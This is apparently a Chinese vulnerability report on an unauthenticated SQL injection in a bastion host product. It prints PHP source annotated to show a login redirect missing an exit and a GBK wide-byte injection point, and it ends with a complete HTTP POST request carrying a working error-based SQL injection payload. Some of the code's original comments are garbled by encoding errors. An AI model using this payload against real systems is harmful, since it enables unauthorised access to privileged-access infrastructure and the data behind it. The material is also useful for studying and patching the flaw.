江南科友堡垒机无需登录通用注入漏洞

<?
    require_once('interface.php');
    require_once('SSO_DB.php');
    require_once('class.smarttemplate.php');
    
    //session_id(SID);
    session_start();
    $account_os=$_SESSION['account_os'];
    $time = $_SESSION['time'];
    $error=0;
    //echo $time;
    //echo $_GET['flag'];
    if( empty($account_os) || $_GET['flag'] != $time || empty($_GET['flag']) )
    {
     Header("Location: login.php"); //没有增加exit(1)导致后续语句继续执行，并没有退出，后续就可以直接注入了。
    }
    $st = new SmartTemplate('config_os.html'); 
    $db = new SSO_DB();
    if(isset($_POST['action']) && !empty($_POST['action']))//ɾ������ҳ��
    {
     if($_POST['action'] == 'add')  //���
     {
      $add_s=$db->os_add($_POST['f_os_name'],$_POST['v_os_name'],$_POST['os_mem'],$_POST['AdminCmd_value'],$_POST['AdminPassInfo_value']);
      if(!$add_s)
      {
       //echo '<script type="text/javascript">';
       //echo 'alert("����ϵͳ����Ѵ���")';
       //echo '</script>';
       $error = -1;
      }
      else
      {
       write_ed();
       //echo '<script type="text/javascript">';
       //echo 'alert("��ӳɹ�")';
       //echo '</script>';
       $error = 1;
      }
     }
     if($_POST['action'] == 'del')  //ɾ��
     {
      //echo $_POST['post_id'];
      $db->os_del($_POST['post_id']);
      write_ed();
      //echo '<script type="text/javascript">';
      //echo 'alert("ɾ��ɹ�")';
      //echo '</script>';
      $error = 2;
     }
    }
    if(isset($_POST['edit_id']) && $_POST['action']== 'edit' && !empty($_POST['edit_id']) )  //�༭ȡ���
    {
     
      $db->os_edit($_POST['f_os_name'],$_POST['v_os_name'],$_POST['os_mem'],$_POST['edit_id'],$_POST['AdminCmd_value'],$_POST['AdminPassInfo_value']); //GBK注入
      write_ed();
      //echo '<script type="text/javascript">';
      //echo 'alert("�༭�ɹ�")';
      //echo '</script>';
      $error = 3;
    }

POST /manager/config_os.php HTTP/1.1
 Host: x.x.x.x
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Proxy-Connection: keep-alive
 Cookie: PHPSESSID=676fe13cb82d5ba15baccdd1decc0beb
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.1.17 (KHTML, like Gecko) Version/7.1 Safari/537.85.10
 Accept-Language: zh-cn
 Accept-Encoding: gzip, deflate
 Connection: keep-alive
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 209
 
 action=add&f_os_name=admin%df'and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a)#&v_os_name=1&os_mem=2&admincmd_value=3&adminpassinfo_value=4